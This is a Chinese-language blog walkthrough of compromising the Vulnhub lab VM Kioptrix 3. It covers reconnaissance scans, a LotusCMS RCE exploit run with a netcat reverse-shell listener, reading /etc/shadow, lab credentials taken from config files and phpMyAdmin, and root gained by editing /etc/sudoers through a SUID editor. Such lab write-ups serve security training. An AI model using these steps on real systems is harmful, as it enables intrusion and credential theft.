Kioptrix Level 1.2(#3)

Kioptrix Level 1.2(#3)

MADISUN Lv2

Kioptrix Level 1.2(#3)

渗透思路

信息搜集

  • nmap扫描ip,得到IP为192.168.89.139
  • nmap扫描端口以及端口服务
1
2
3
4
5
6
7
8
9
10
11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-11 00:12 EST
Nmap scan report for 192.168.89.139
Host is up (0.0025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.49 seconds

发现开放了ssh和http服务

  • 浏览器访问http://192.168.89.139
截屏2024-02-13_下午8.24.57
  • 点击Login,发现一个登录界面,Proudly Powered by:LotusCMSLotusCMS是关键,CMS(Content Management System 内容管理系统)

截屏2024-02-13_下午8.25.32

看到登录框,想起上一道题,可能存在sql注入

  • dirsearch扫描网址:dirsearch --url http://192.168.89.139

截屏2024-02-13_下午8.36.19

发现了一个phpmyadmin,还有一个gallery

  • 查看http://192.168.89.139/phpmyadmin/需要拿到root密码

截屏2024-02-13_下午9.57.06

*由之前信息收集阶段的结果可知 phpmyadmin 的版本为 2.11.3,搜索可知该版本存在”万能密码”,使用 ‘localhost’@‘@” 即可登陆,但是只有一个 information_schema ,没什么用*

Vulnhub-KioptrixVM3 - Josephine’s Blog (bulletforkiller.github.io)

  • 查看http://192.168.89.139/gallery/,dirsearch扫一下目录

截屏2024-02-13_下午8.58.54

  • 发现了一个后台/gallery/gadmin,Username为admin,一个db.sql文件截屏2024-02-13_下午9.00.18

后台可以尝试sql注入

db.sql部分文件内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CREATE TABLE IF NOT EXISTS `gallarific_users` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(100) NOT NULL default '',
`password` varchar(100) NOT NULL default '',
`usertype` enum('superuser','normaluser') NOT NULL default 'superuser',
`firstname` varchar(100) NOT NULL default '',
`lastname` varchar(100) NOT NULL default '',
`email` varchar(255) NOT NULL default '',
`datejoined` int(11) NOT NULL default '0',
`website` varchar(255) NOT NULL default '',
`issuperuser` tinyint(4) NOT NULL default '0',
`photo` varchar(100) NOT NULL default '',
`joincode` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
);

总结突破方向——cms+web

  • Login是否存在sql注入

  • LotusCMS 是否存在可利用的漏洞

  • 是否能拿到phpmyadmin后台的root用户密码,查看数据库信息

  • /gallery/gadmin是否存在sql注入

漏洞利用

lotusCMS漏洞利用

  • 在github中找到python利用的lotuscms3.0RCE漏洞:https://github.com/nguyen-ngo/LotusCMS-3.0-RCE-exploit

  • nc监听444端口: nc -nvlp 444,同时执行 python lotuscms.py -rh 192.168.89.139 -lh 192.168.89.137

    1
    2
    3
    4
    5
    6
    7
    -h, --help  show this help message and exit.
    -rh RHOST Target Host.
    -rp RPORT Target Port. Default: 80.
    -u URI URI (i.e /lms/. Default: /
    -lh LHOST Local Host.
    -lp LPORT Local Port. Default: 444
    -s SSL/TLS enable (True/False). Default: False

    image-20240229153523165

    成功拿到www-data,但是这只是一个普通用户权限,由于我们扫出了重要的网站后台,先利用这个用户权限,查看网站源文件,看是否存在敏感信息

  • 通过www-data,我们可以查看/etc/passwd /etc/shadow,这些信息,里面能看到后面能查到的dreg和loneferret两个用户

  • 在网页根目录中查找敏感信息,通过cat gconfig.php成功看到mysql的username和password,可以直接登录phpmyadmin了

    1
    2
    3
    4
    $GLOBALS["gallarific_mysql_server"] = "localhost";
    $GLOBALS["gallarific_mysql_database"] = "gallery";
    $GLOBALS["gallarific_mysql_username"] = "root";
    $GLOBALS["gallarific_mysql_password"] = "fuckeyou";
  • 拿到phpmyadmin后台root密码后,登录后台,看到一些数据库信息

截屏2024-02-13_下午8.34.41

  • 可以看到我们要找的gallery数据库,gallarific_users这张表,也就是gallery/gadmin后台的登录用户名和密码

截屏2024-02-13_下午9.15.57

拿到password n0t7t1k4

利用admin n0t7t1k4登录网站后台gallery/gadmin,但是发现网站里面,没有什么特别的东西,其实可以看到一些上传功能和评论功能,可以试试,这里不赘述。

  • 继续翻找phpmyadmin,发现了一个叫做dev_accounts的表,里面存了username和password,这两个用户我们在之前通过www-data,查看用户列表时看到过,因此如果破解了密码可以利用ssh登录

image-20240229194301766

1
2
dreg Mast3r
loneferret starwars

看到别人的walkthrough发现这里也可以hydra爆破,详情请看 Vulnhub-KioptrixVM3 - Josephine’s Blog (bulletforkiller.github.io)

  • 目标主机开了ssh服务,尝试利用ssh登录
1
2
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss dreg@192.168.89.139
ssh -o KexAlgorithms=diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-dss loneferret@192.168.89.139

直接ssh,会导致报错,原因大概是对方使用的ssh版本比较低,详情请看SSH 返回:未找到匹配的主机密钥类型。他们的报价:ssh-dss - 询问 Ubuntu (askubuntu.com)

简单查看两个用户的权限

  • sudo -l 查看当前用户有哪些被sudo服务授权的命令,可以发现loneferret下ht和su

image-20240229202721535

按理说,我们直接sudo su root就可以直接切换成root,但是发现su的路径貌似写错了,正确的应该是/bin/su

Screenshot2024-02-29_21.03.16

提权思路
  • 利用内核信息提权

  • SUID提权:直接利用sudo ht编辑/etc/sudoers文件提权

权限提升 privilege escalation

利用LES工具内核提权

The-Z-Labs/linux-exploit-suggester:Linux 权限升级审计工具 (github.com)

LES 工具旨在帮助检测给定 Linux 内核/基于 Linux 的机器的安全缺陷。

  • 利用les工具,查看系统是否有漏洞

image-20240229161417872

  • 先通过uname -a查看系统信息:

    1
    Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU /Linux  
  • 在kali中bash ./les.sh --uname "Linux Kioptrix3 2.6.24-24-server #1 SMP Tue Jul 7 20:21:17 UTC 2009 i686 GNU/Linux"

image-20240229162455063

SUID提权

关于SUID提权的介绍与总结:对Linux—suid提权的一些总结-腾讯云开发者社区-腾讯云 (tencent.com)

  • 查看ht是否具有suid,ls -al /usr/local/bin/ht,发现rws,s表示具有suid,果然
  • 直接ht,修改/etc/sudoers,添加/bin/bash或修改su的路径为!/bin/su
  • 这里我的kali很奇怪,直接ht里面修改会导致segmentation fault,只能通过sudo ht /etc/sudoers,而且得改二进制才行:sweat:,搞了很久🤮。最后直接把lonferret改成了ALL=(ALL)ALL

image-20240229221121593

  • 然后就直接sudo su root成功拿到root

image-20240229221244697

参考列表

Vulnhub-KioptrixVM3 - Josephine’s Blog (bulletforkiller.github.io)

0×03 Vulnhub 靶机渗透总结之 KIOPTRIX: LEVEL 1.2 (#3) SQL注入+sudo提权 - wsec - 博客园 (cnblogs.com)

The-Z-Labs/linux-exploit-suggester:Linux 权限升级审计工具 (github.com)

对Linux—suid提权的一些总结-腾讯云开发者社区-腾讯云 (tencent.com)

  • Title: Kioptrix Level 1.2(#3)
  • Author: MADISUN
  • Created at : 2024-02-11 13:11:24
  • Updated at : 2024-03-09 20:07:05
  • Link: https://redefine.ohevan.com/2024/02/11/Kioptrix_Level_1.2/
  • License: This work is licensed under CC BY-NC-SA 4.0.